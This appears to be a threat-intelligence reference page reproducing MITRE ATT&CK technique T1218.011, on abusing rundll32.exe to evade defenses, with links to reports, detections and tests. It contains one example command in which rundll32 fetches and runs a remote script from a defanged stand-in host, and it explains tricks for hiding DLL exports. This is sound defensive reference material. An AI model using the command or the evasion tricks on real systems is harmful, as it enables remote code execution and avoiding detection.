T1218.011: Rundll32

View on MITRE ATT&CK T1218.011
Tactic(s) Defense Evasion

Data from MITRE ATT&CK®:

Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}).

Rundll32.exe can also be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)

Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:"..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)

Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: rundll32.exe file.dll,#1).

Additionally, adversaries may use Masquerading techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.(Citation: rundll32.exe defense evasion)

© 2024 The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation.

Cyber Threat Graph Context

Explore how this ATT&CK Technique relates to the wider threat graph

Reporting on this Technique

Report

REDCURL - The pentest you didn't know about

This report by researchers at Group-IB outlines activity by a group they call RedCurl. The report identifies victimology and motivation (corporate ...

Report

KAPEKA A novel backdoor spotted in Eastern Europe

This report from researchers at WithSecure unveils a novel backdoor: 'Kapeka'. Kapeka has been used against victims in Eastern Europe ...

Report

Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation

This blog post by threat researchers at Mandiant outlines intrusions activity by the UNC3886 intrusion set which involved the deployment of ...

Report

From OneNote to RansomNote: An Ice Cold Intrusion

This case report from The DFIR Report describes an intrusion which started with a malicious OneNote attachment. Opening the OneNote file led to ...

Mitigations for this technique

MITRE ATT&CK Mitigations

How to detect this technique

MITRE ATT&CK Data Components

Control Validation Tests for this Technique

Use Atomic Red Team tests to test your defenses against this technique.

Sigma Detections for this Technique

SP800-53 Controls

See which controls can help protect against this MITRE ATT&CK technique. This is based on mappings to associated SP800-53 controls produced by the MITRE Engenuity Center for Threat-Informed Defense.